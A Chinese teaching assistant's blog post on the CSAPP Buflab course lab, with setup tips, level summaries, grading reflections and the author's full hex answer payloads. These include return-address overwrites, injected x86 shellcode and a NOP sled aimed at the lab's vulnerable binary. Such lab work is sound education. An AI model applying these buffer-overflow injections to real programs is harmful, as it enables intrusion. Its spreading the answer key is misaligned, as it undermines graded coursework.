2024Spring> HNU-计算机系统-实验4-Buflab-导引+验收

前言

称不上导引了,因为验收已经结束了。主要是最近比较忙,在准备期末考试。周五晚上才开始看实验,自己跟着做了一遍实验,感觉难度还是比bomblab要低的,但是如果用心做的话对于栈帧的理解确实能上几个档次。

实验参考

这次我先上参考文献了,我主要还是在看A橙学长写的blog,然后参考了一些其它的blog。

由于我自己并没有花太多时间去做这个实验,我还是觉得看前辈们的博客会更方便理解一点。

A橙学长的buflab博客

CSAPP-buflab - 简书

计算机系统实验三——buflab(缓冲区实验)-CSDN博客

引导

这个实验主要是让我们用缓冲区溢出的方式修改函数的返回地址,或者修改寄存器的值,用这种方式可以让原来的函数干一些你想让它干的事情。具体逻辑在后面呈现。

①环境准备

拿到手应该是buflab-handout.tar.gz包,首先使用如下指令解压。

tar -xzvf buflab-handout.tar.gz

这样会得到3个文件,

  • bufbomb:类似于前面的bomblab的bomb,是我们要拆的炸弹
  • makecookie:让我们知道自己的用户id对应什么cookie(推测是一种哈希映射)
  • hex2raw:将我们写的16进制编码转换为字符串输入

与之前一样,可以使用如下指令反汇编得到汇编代码,保存在txt文件内,方便查看。

objdump -d bufbomb > bombcode.txt

使用如下代码查看自己的cookie,比如我的用户名是wolf,我就按下面这样,它会给出一个4字节的哈希值,这就是wolf对应的cookie。你也可以输入自己的学号,或者自己喜欢的代号。

./makecookie wolf

接下来就是看着txt文件,分析代码,然后拆炸弹,得到期望的运行结果了。

②逐个拆炸弹

一共有5关,从 level 0 到 level 4 ,难度递增,基本上后一个是前一个上面的改进。

我大致说说每一个level的含义以及不同。

  • level 0:修改getbuf函数的返回地址,使它调用smoke函数。不需要考虑栈被破坏的恢复
  • level 1:修改getbuf函数的返回地址,使它调用fizz函数,但是fizz函数有一个参数,需要同时修改栈上被传递的参数,该函数验证cookie是否等于被传递的参数。不需要考虑栈被破坏的恢复
  • level 2:修改getbuf函数的返回地址,使它调用bang函数,但是有一个全局变量(全局变量不保存在栈上,因而需要使用代码修改而不能简单通过缓冲区覆盖栈上的值完成),该函数验证cookie值是否等于这个全局变量。不需要考虑栈被破坏的恢复
  • level 3:执行getbuf()后,将getbuf()的返回值修改为cookie值,并返回到test()函数,同时恢复被破坏的栈(ebp的值)
  • level 4:使用-n标志运行程序】是上一level的升级版,相当于连续做5次level3,但有小区别。具体过程:调用testn(),在testn()中调用getbufn()五次,且缓冲区的大小为512字节。每次getbufn()的栈空间随机,因此不可以再使用level3中的方式找到buf的起始位置。

具体的拆炸弹过程可以参考上面列出来供参考的几位博客,我就不再赘述了。

评价一下,实验层层递进,由浅入深,确实十分精妙有趣。

③注意点

说一些注意点:

gdb的基础使用:

gdb -q bufbomb

打断点怎么打? 例如:b*0x8048436

怎么继续运行到下一个断点?c

最后一题注意要使用-n标志去运行程序(不论是调试还是运行),否则可能会报段错误

可以使用管道符来快速跑起来,如下面这样可以快速试试第4关

cat level4.txt | ./hex2raw | ./bufbomb -u wolf

④我的答案(对于name=wolf)

level0

/* spaces 44 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00/* return address to smoke 4 Bytes */
0b 8e 04 08

level1

/* spaces 44 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00/* return address to fizz 4 Bytes */
af 8d 04 08/* spaces 4 Bytes */
00 00 00 00/* cookie 4 Bytes */
68 18 e4 64

level2

/* my function 13 Bytes */
b8 68 18 e4 64 /* mov $0x64e41868,%eax */
b9 0c d1 04 08 /* mov $0x0804d10c,%ecx */
89 01          /* mov %eax,(%ecx) */
c3             /* ret *//* spaces 31 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00/* return address to my function 4 Bytes */
58 3b 68 55/* return address to bang 4 Bytes */
52 8d 04 08

level3

/* my function 17 Bytes */
68 50 8e 04 08 /* push $0x8048e50 */
68 b0 3b 68 55 /* push $0x55683bb0 */
b8 68 18 e4 64 /* mov $0x64e41868,%eax */
c9             /* leave */
c3             /* ret *//* spaces 23 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00/* set ebp 4 Bytes */
80 3b 68 55/* return address to my function 4 Bytes */
58 3b 68 55

level4(这个还需要调一下)

/* nop sleds 509 Bytes */
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90/* my function 15 Bytes */
b8 68 18 e4 64 /* mov $0x64e41868,%eax */
8d 6c 24 28    /* lea 0x28(%esp),%ebp */
68 e2 8c 04 08 /* push $0x8048ce2 */
c3             /* ret  *//* set return address 4 Bytes */
c8 39 68 55

验收

接下来讲一下验收的情况。

由于这次实验我本人自认为确实没有做充足的准备(仅仅是做了一遍,并没有进行深入的思考)。因此这次实验验收,我主要是在听同学们讲,然后根据我认为他们的理解程度给出评价。也因此,这次我给出的基本都是A,基本没有给到B的,然后有4位A+。主要是我认为同学们都达到了我的预期,基本理解了栈帧以及运行时栈的调动(其实如果静下心来学的话,不难的)。

拿到A+的同学或者一些其它比较好的同学有以下优点可供同学们学习:

  • ①条理清晰:这一点其实说着好像简单,实际上一点都不简单。确实有些同学我知道他理解了,但是在展示上确实观感就没那么突出。(这个其实我也有一点这样,我不太善于表达自己的观点)。我认为能清晰地表达出自己的观点是一种非常重要的能力,无论是在哪里。
  • ②预先绘制清晰图表:运行时栈的变化有时还是很难讲清楚的,所以印象中有好几位同学预先绘制了这样的图表,就会清晰好多。关键是在短时间内,我能一眼看到他确实懂了。有辅助的图表,会清晰很多,这个是在展示的层面上,可视化比平铺直叙更具有吸引力,也更方便交流。
  • ③探索心路:这一点是很多同学都忽视的。同学们习惯一上来就从level 0 开始讲。其实我还是比较关注这整体实验的来历的。包括你是怎么知道有5个关卡的,你是怎么知道要做这些的,你是怎么知道实验通关的标志的,等等这些。我希望看到你从0探索出全图的一些心路(就像一个一个锚点去开,然后全图豁然开朗的欣喜),而不是上来就一路过关斩将,实际上又有几个人能做到这么顺利呢。虽然我们都知道这个世界最看重结果,但我认为探索的过程永远是最有价值的部分。这一点还可以延申一下,由于课业繁重等,我们做实验往往抱着完成任务的态度,这无可厚非,但有时会感觉太刻意了,缺乏了一些探索的美感。还是希望同学们能有这个意识。
  • ④分析缓冲区溢出原因:很少有同学提及,我们这个实验为什么能继续下去。印象中有同学翻开书给我看,或者翻代码给我看gets函数的特性,因为这是它不检验溢出,可以无限读取。以及用fgets函数可以避免这个漏洞。我觉得这就非常好,这就是知其然而知其所以然。有时候这也是我们实验需要关注的一些细节。
  • ⑤关注基本指令的作用:几个小问题,call指令,leave指令,ret指令究竟做了什么,怎么转换成基本的操作。我觉得这个问题很重要。很欣喜的是大部分同学都能答得上来(实际上这也是做这个实验的基本要求)。有同学掌握的不是很熟练,有同学特别对这个做了总结,我觉得还是要关注的。

其它的:

  • ⑥印象中有同学探究了中间几个level的多种实现方法(修改ebp寄存器的值可以通过指令修改,也可以直接缓冲区溢出覆盖),(恢复ebp的几种方法)还有一些别的实现方法。有同学做到后面的题目之后,能想到对前面题目的改进方法,并对前面的题目也做了栈的修复,这些探究都非常好。
  • ⑦印象比较深刻的是有同学在level 0 用重定位绕过了 0a 导致被识别成换行符的问题,还是能让程序从smoke的第一条指令进入,而不是网上大多采用的改为0b然后从第二条指令进入的方法。这是一个令我眼前一亮的想法。想到这个的同学对于知识的整体体系有一个较好的整合。
  • ⑧有同学对于实验中不理解的地方向我提出问题,我在自己的能力范围内试图给出解答,不一定是正确的,但我认为这也能在一定的程度上反映出他的思考。能提出问题,能提出有价值的问题,也是一种能力

验收只是一个形式,最重要的还是希望大家能从实验中确实学到知识。

下面简单罗列一些我或者研究生助教的提问

  • 这个level相比于上个level,主要增加了什么需要完成的部分,你是怎么完成的?(主要问题)
  • level1中间为什么会空一个可以随便填写的地方?
  • level2你的代码入口在哪里,怎么获取它的地址?
  • level4为这5个ebp,为什么选择最大的那个?如果选择最小的那个会出现什么问题?
  • 运行时栈,怎么变化?
  • 某个地址,某个ebp,某个立即数,你是怎么得到的?
  • 某条指令的作用(call,ret,leave等)?
  • gdb m32标志是干什么的?(这是研究生助教提问的,有同学答不上来)(我认为这个应该还是比较基础的,主要是我们的系统基本上都是64位的,但是我们用的这个bomb是32位的,如果不使用这个标志,我们自己写的汇编可能会编译出retq这种64位特有的指令类型,不兼容的)
  • 其它问题(主要围绕代码本身或者运行时栈的变化)

尾声

真的很高兴能在大三成为本科生助教,为可爱而优秀的学弟学妹们验收这门计算机领域最重要课程的4个实验。

说起来,最早想当助教的念头起源于大二我在上这门课程时遇到的优秀的A橙学长,A橙学长独特的人格魅力真的吸引了我们,我们班甚至是我们年级好多人都是A橙学长的小迷弟小迷妹。A橙学长撰写的大量博客如一盏明灯,指引着我的本科生活。我想当助教99%的原因都是来自于这一点。希望能将这一点传承下去。我就是基于这样一种朴素的,希望能把自己遇到的真善美传递下去,这个简单的理念。这也许就是湖大信息院的诸多“传承”之一吧,像班助一样。

预祝学弟学妹们都能收获自己满意的知识+成绩。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/15645.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于antd的DatePicker 组件封装业务组件

先看一下我写的目录结构: 依次来看业务代码; (1)RangeTime.tsx import {useState,uesCallback} from react; import {DatePicker} from antd; import {RangePickerProps as AntdRangePickerProps} from antd/es/date-picker; import {Moment} from moment; import type {Ran…

ROCm上来自Transformers的双向编码器表示(BERT)

14.8. 来自Transformers的双向编码器表示(BERT) — 动手学深度学习 2.0.0 documentation (d2l.ai) 代码 import torch from torch import nn from d2l import torch as d2l#save def get_tokens_and_segments(tokens_a, tokens_bNone):""&qu…

rk3568_atomic

文章目录 前言一、atomic是什么?二、原子操作API函数1.atomic原子操作2.原子位操作API三、atomic驱动实验总结前言 本文记录的是正点原子rk3568开发板的atomic实验 一、atomic是什么? 不同的线程在进行读写的过程中,可能会冲突乱入,导致会有预想不到的结果。所以为了让数…

开源模型应用落地-LangSmith试炼-入门初体验-数据集评估(三)

一、前言 LangSmith是一个用于构建生产级 LLM 应用程序的平台,它提供了调试、测试、评估和监控基于任何 LLM 框架构建的链和智能代理的功能,并能与LangChain无缝集成。通过使用LangSmith帮助开发者深入了解模型在不同场景下的表现,让开发者能…

webshell工具-冰蝎流量特征和加密方式

一、冰蝎原理 1.1 简介 冰蝎是一款基于Java开发的动态加密通信流量的新型Webshell客户端,由于通信流量被加密,传统的WAF、IDS 设备难以检测,给威胁狩猎带来较大挑战。冰蝎其最大特点就是对交互流量进行对称加密,且加密密钥是由随…

基于Ruoyi-Cloud-Plus重构黑马项目-学成在线

文章目录 一、系统介绍二、系统架构图三、参考教程四、演示图例机构端运营端用户端开发端 一、系统介绍 毕设:基于主流微服务技术栈的在线教育系统的设计与实现 前端仓库:https://github.com/Xiamu-ssr/Dragon-Edu-Vue3 后端仓库:https://g…

【NodeMCU实时天气时钟温湿度项目 9】为项目增加智能配网功能(和风天气版)

今天是第九专题,主要介绍智能配网的方法途径和具体实现。在项目开发和调试阶段,设置 WIFI 连接信息,通常是在项目中修改源程序代码完成的。项目调试完成后,客户应用环境中如何实现WIFI连接信息(ssid 和 password&#…

【基础详解】快速入门入门 SQLite数据可

简介 SQLite 是一个开源的嵌入式关系数据库,实现了自给自足的、无服务器的、配置无需的、事务性的 SQL 数据库引擎。它是一个零配置的数据库,这意味着与其他数据库系统不同,比如 MySQL、PostgreSQL 等,SQLite 不需要在系统中设置…

Unity功能——设置Camera,实现玩家被攻击后晃动效果

一、方法说明: 来源:siki学院:Unity项目捕鱼达人,功能学习记录; 效果摘要:通过调整相机移动,视觉感觉玩家面板剧烈晃动,实现被boss攻击时的震动效果。 使用场景说明: …

通过继承React.Component创建React组件-5

在React中,V16版本之前有三种方式创建组件(createClass() 被删除了),之后只有两种方式创建组件。这两种方式的组件创建方式效果基本相同,但还是有一些区别,这两种方法在体如下: 本节先了解下用extnds Reac…

Java | Leetcode Java题解之第112题路径总和

题目: 题解: class Solution {public boolean hasPathSum(TreeNode root, int sum) {if (root null) {return false;}if (root.left null && root.right null) {return sum root.val;}return hasPathSum(root.left, sum - root.val) || has…

国内快速下载hugging face大模型的方法

由于众所周知的原因,从hugging face下载大模型比较困难,幸好国内有人做了镜像站,可以通过国内的镜像站进行快速下载,以下是配置方法。 我的系统是ubuntu 22,这里记录的方法只对debian/ubuntu有效。 git-lfs/INSTALLI…

信息系统项目管理师0130:工具与技术(8项目整合管理—8.7监控项目工作—8.7.2工具与技术)

点击查看专栏目录 文章目录 8.7.2 工具与技术8.7.2 工具与技术 专家判断监控项目工作过程中,应征求具备如下领域相关专业知识或接受过相关培训的个人或小组的意见,涉及的领域包括:挣值分析;数据的解释和情境化;持续时间和成本的估算技术;趋势分析;关于项目所在的行业以及…

【LSTM】LSTM cell的门结构学习笔记

文章目录 1. LSTM cell2. 门结构3. 门的公式4. 门的参数5. 重点关系厘清 1. LSTM cell 如文章 LSTM网络与参数学习笔记 中介绍, LSTM cell指的是一个包含隐藏层所有神经元的结构.但是LSTM门控单元的公式如何理解、门和LSTM cell神经元如何对应、门函数的参数维度、不同时间步不…

鸿蒙 DevEco Studio 3.1 Release 下载sdk报错的解决办法

鸿蒙 解决下载SDK报错的解决方法 最近在学习鸿蒙开发,以后也会记录一些关于鸿蒙相关的问题和解决方法,希望能帮助到大家。 总的来说一般有下面这样的报错 报错一: Components to install: - ArkTS 3.2.12.5 - System-image-phone 3.1.0.3…

leecode 1206|跳表的设计

跳表 跳表,一种链表数据结构,其增删改茶的效率能和平衡树相媲美 leecode1206 可以看上面的那个动画,动画效果很贴切。 我简单讲讲它的机制吧,每个节点不单单是一个,测试好几层,然后同一层的节点和统一节点…

Tomcat部署项目的方式

目录 1、Tomcat发布项目的方式 方式1: 直接把项目发布到webapps目录下 方式2:项目发布到ROOT目录 方式3:虚拟路径方式发布项目 方式4:(推荐)虚拟路径,另外的方式! 方式5:发布多个网站 1、…

掩码生成蒸馏——知识蒸馏

摘要 https://arxiv.org/pdf/2205.01529 知识蒸馏已成功应用于各种任务。当前的蒸馏算法通常通过模仿教师的输出来提高学生的性能。本文表明,教师还可以通过指导学生的特征恢复来提高学生的表示能力。从这一观点出发,我们提出了掩码生成蒸馏&#xff08…

【字典树(前缀树) 异或 离线查询】1707. 与数组中元素的最大异或值

本文涉及知识点 字典树(前缀树) 位运算 异或 离线查询 LeetCode1707. 与数组中元素的最大异或值 给你一个由非负整数组成的数组 nums 。另有一个查询数组 queries ,其中 queries[i] [xi, mi] 。 第 i 个查询的答案是 xi 和任何 nums 数组…

C++ | Leetcode C++题解之第97题交错字符串

题目&#xff1a; 题解&#xff1a; class Solution { public:bool isInterleave(string s1, string s2, string s3) {auto f vector <int> (s2.size() 1, false);int n s1.size(), m s2.size(), t s3.size();if (n m ! t) {return false;}f[0] true;for (int i …